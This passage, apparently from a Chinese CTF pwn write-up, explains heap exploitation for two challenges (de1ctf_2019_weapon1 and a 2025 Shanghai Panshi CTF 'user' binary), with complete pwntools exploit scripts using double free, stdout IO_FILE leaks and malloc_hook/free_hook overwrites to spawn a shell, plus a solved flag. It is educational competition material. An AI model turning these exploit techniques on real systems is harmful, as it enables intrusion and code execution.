#system_addr = libc_addr + libc.symbols['system']

"""
delete(5)
delete(6)
delete(5)
add(0x60,12,b'1')
rename(5,p64(des_addr))
add(0x60,13,b'1')
"""

#add(0x60,12,b'1')
ogg = [0x4527a,0xf03a4,0xf1247]
ogg_ = ogg[2] + libc_addr
def add2(size,index,context):
    p.sendline(b'1')
    p.sendline(str(size).encode())
    p.sendline(str(index).encode())
    p.send(context)
def delete2(index):
    p.sendline(b'2')
    p.sendline(str(index).encode())
def rename2(index,context):
    p.sendline(b'3')
    p.sendline(str(index).encode())
    p.send(context)

add(0x60,13,b'1')
add(0x60,14,b'1')
delete(13)
delete(14)
delete(13)
add(0x60,15,p64(des_addr))
#rename2(13,p64(des_addr))
add(0x60,16,b'1')
add(0x60,16,b'1')
add(0x60,17,b'a'*0x13+p64(ogg_))
p.sendline(b'1')
p.sendline(b'32')
p.sendline(b'17')
gdb.attach(p)
p.interactive()
  • 但是由于半个字节的随机地址偏移，这就使得打远程需要爆破，尝试一下打远程，打远程使用打本地的偏移其实就能爆破出来：

image-20250820184641010

题目3_exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.23.so')
#p = process("./de1ctf_2019_weapon1")
for i in range(100):
    p = remote('node5.buuoj.cn',29028)
    def add(size,index,context):
        p.sendlineafter(b'choice >>',b'1')
        #p.interactive()
        p.sendlineafter(b'size of weapon:',str(size).encode())
        p.sendlineafter(b'input index:',str(index).encode())
        p.sendafter(b'input your name:',context)

    def delete(index):
        p.sendlineafter(b'choice >>',b'2')
        p.sendlineafter(b'input idx :',str(index).encode())

    def rename(index,context):
        p.sendlineafter(b'choice >>',b'3')
        p.sendlineafter(b'input idx:',str(index).encode())
        p.sendafter(b'new content:',context)
    # 利用double_free和堆分水,使得能将堆块放入unsorted_bin中
    add(0x50,0,b'a')
    add(0x50,1,b'a')
    add(0x60,2,b'a')
    add(0x50,3,b'a')
    add(0x50,4,b'a')

    payload = p64(0)*9 + p64(0x61)
    rename(0,payload)
    delete(1)
    delete(3)
    delete(1)
    rename(3,p8(0x50))
    #add(0x50,5,b'\x50')
    add(0x50,6,b'a')
    add(0x50,7,b'a')
    add(0x50,8,p64(0)+p64(0xd1))
    delete(1)
    delete(2)
    # 使用unsorted_bin_attack,使得libc的地址能被写入到fastbin链表中
    add(0x20,9,b'a')
    add(0x20,10,b'a')
    rename(2,p16(0x25e5-0x8))
    add(0x60,11,b'1')
    try:
        # 申请到libc地址后修改stdout的IO结构体,并接收地址
        add(0x60,12,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+p8(0))
        leak = p.recvuntil(b'\x7f')[-6:]
        print('leak--->',leak)
        leak = u64(leak.ljust(8,b'\x00'))
        print('leak--->',hex(leak))
        libc_addr = leak - 192 - libc.symbols['_IO_2_1_stderr_']
        print('libc_addr--->',hex(libc_addr))
        malloc_hook = libc_addr + libc.symbols['__malloc_hook']
        des_addr = malloc_hook - 0x23
    except:
        p.close()
        continue
    #system_addr = libc_addr + libc.symbols['system']
    """
    delete(5)
    delete(6)
    delete(5)
    add(0x60,12,b'1')
    rename(5,p64(des_addr))
    add(0x60,13,b'1')
    """

    #add(0x60,12,b'1')
    """
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
    rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
    [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
    """
    # 再次使用fastbin_double_free,利用malloc_hook打ogg
    ogg = [0x45216,0x4526a,0xf02a4,0xf1147]
    ogg_ = ogg[3] + libc_addr
    add(0x60,13,b'1')
    add(0x60,14,b'1')
    delete(13)
    delete(14)
    delete(13)
    add(0x60,15,p64(des_addr))
    add(0x60,16,b'1')
    add(0x60,16,b'1')
    add(0x60,17,b'a'*0x13+p64(ogg_))
    sleep(0.2)
    p.sendline(b'1')
    p.sendline(b'32')
    p.sendline(b'17')
    #gdb.attach(p)
    p.sendline(b'cat flag')

    p.interactive()

题目4_2025上海市磐石CTF_user

  • 题目附件：
1
下载:https://wwsq.lanzoue.com/iAqJG33zvk0d 密码:i2om
  • 在讲解这题之前，先要说明一个小trick，如果不知道这个trick的话是没办法做出这题的。
  • 在bss段中存在一个这样的指针，这个指针指向的是自己，这个指针的位置在bss段中&stdout - 0x18这个位置。
    • 此时如果存在索引值为负数，我们就能动用这个指针利用这个指针，可以有一次任意地址写的机会。
    • 可以修改它为free_hook的地址，向free_hook写入system函数的地址，之后再释放堆块，从而执行system("/bin/sh")

image-20250820185021024

题目4_分析1

  • 查看一下程序保护机制，发现保护全开

image-20250820185812637

  • 然后分析程序逻辑，发现其实是一个经典堆菜单的题目，程序逻辑就不逆了。但是没有堆溢出漏洞，也没有UAF漏洞。

image-20250820185827105

  • 漏洞点其实在edit这边，有一个数组越界的漏洞

image-20250820185836760

  • 并且这题没有show()函数

image-20250820185845926

题目4_分析2

  • 由于最近刚学完stdout泄露libc所以这题很明显就是要修改IO_FILE泄露libc。泄露是泄露出来了，但是就卡在如何利用这边。看了别人的wp才知道其实heap[-11]这个索引有问题。
  • 动态调试会发现heap[-11]=heap[-11]，所以我们可以利用heap[-11]去修改heap[-11]这个地方，将其修改为free_hook
  • 这样再调用一次edit(heap[-11])就能将system_addr写入到free_hook这边，之后再申请一个堆块写入/bin/sh即可getshell

image-20250820185907823

题目4_exp

  • 打本地的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level = 'debug'
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
#libc = ELF('./libc.so.6')
p = process('./user')
#p = remote('')
def add(context):
    p.sendlineafter(b'5. Exit',b'1')
    p.sendafter(b'Enter your username:',context)

def delete(index):
    p.sendlineafter(b'5. Exit',b'2')
    p.sendlineafter(b'index:',str(index).encode())

def edit(index,context):
    p.sendlineafter(b'5. Exit',b'4')
    p.sendlineafter(b'index:',str(index).encode())
    p.sendafter(b'Enter a new username:',context)
gdb.attach(p)
pause()
payload = p64(0xFBAD1800)
payload += p64(0)*3
payload += p8(0)
edit(-8,payload)
leak_addr = p.recvuntil(b'\x7f')[-6:]
stdout_addr = u64(leak_addr.ljust(8,b'\x00'))
print('[+]leak_addr:',hex(stdout_addr))
libc_addr = stdout_addr - 2013568
free_hook = libc_addr + libc.sym['__free_hook']
malloc_hook = libc_addr + libc.sym['__malloc_hook']
system_addr = libc_addr + libc.sym['system']
print('[+]free_hook:',hex(free_hook))
print('[+]system_addr:',hex(system_addr))
add(b'/bin/sh\x00')
add(b'1')
#delete(1)
payload = p64(0xFBAD1800) + p64(0)*3
payload += p64(malloc_hook+0x70) + p64(malloc_hook+0xa0) + p64(malloc_hook+0xa0)
pause()
edit(-8,payload)
heap_addr = p.recvuntil(b'\x55')[-6:]
heap_addr = u64(heap_addr.ljust(8,b'\x00'))
print('[+]heap_addr:',hex(heap_addr))
env = libc_addr + libc.sym['_environ']
heap_base = heap_addr - 0x350
"""
payload = p64(0xFBAD1800) 
payload += p64(heap_base+0x240) + p64(heap_base+0x2a0) + p64(heap_base+0x240) 
payload += p64(0)*3 + p64(heap_base+0x240)
"""
payload = p64(0xFBAD1800)+ p64(0)*3 + p64(env) + p64(env+8)+p64(env+8)
edit(-8,payload)
stack = p.recvuntil(b'\x7f')[-6:]
stack = u64(stack.ljust(8,b'\x00'))
print('[+]stack:',hex(stack))
payload = p64(0xFBAD1800) + p64(0)*3 + p64(stack-0x130) + p64(stack-0x128) + p64(stack-0x128)
edit(-8,payload)
base = p.recvuntil(b'1.')[:6]
base = u64(base.ljust(8,b'\x00'))
base_addr = base - 0x133B
print("[+]base:",hex(base_addr))
bss_addr = base_addr + 0x4060
index = (bss_addr - free_hook)//8
print(index)
#payload = p64(0xfbad1800) +p64(free_hook) + p64(free_hook+8)+p64(free_hook)
#payload += p64(0)*3 #+ p64(free_hook)
#edit(-6,payload)
#p.sendline(p64(system_addr))
edit(-11,p64(free_hook))
edit(-11,p64(system_addr))
delete(0)
p.interactive()
  • 打远程的exp：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = 'debug'
#libc = ELF('/home/myheart/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
libc = ELF('./libc.so.6')
#p = process('./user')
p = remote('pss.idss-cn.com',24342)
def add(context):
    p.sendlineafter(b'5. Exit',b'1')
    p.sendafter(b'Enter your username:',context)

def delete(index):
    p.sendlineafter(b'5. Exit',b'2')
    p.sendlineafter(b'index:',str(index).encode())

def edit(index,context):
    p.sendlineafter(b'5. Exit',b'4')
    p.sendlineafter(b'index:',str(index).encode())
    p.sendafter(b'Enter a new username:',context)
#gdb.attach(p)
pause()
payload = p64(0xFBAD1800)
payload += p64(0)*3
payload += p8(0)
edit(-8,payload)
leak_addr = p.recvuntil(b'\x7f')[-6:]
stdout_addr = u64(leak_addr.ljust(8,b'\x00'))
print('[+]leak_addr:',hex(stdout_addr))
libc_addr = stdout_addr - libc.sym['_IO_2_1_stdin_']#2013568
log.success('libc_addr: '+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
malloc_hook = libc_addr + libc.sym['__malloc_hook']
system_addr = libc_addr + libc.sym['system']
print('[+]free_hook:',hex(free_hook))
print('[+]system_addr:',hex(system_addr))
add(b'/bin/sh\x00')
add(b'1')
#delete(1)
edit(-8,payload)
edit(-11,p64(free_hook))
edit(-11,p64(system_addr))
delete(0)
p.interactive()
  • flag如下：
1
flag{7ZjaDWxsy4lvcinVgKqeUXHJwrLm16Op}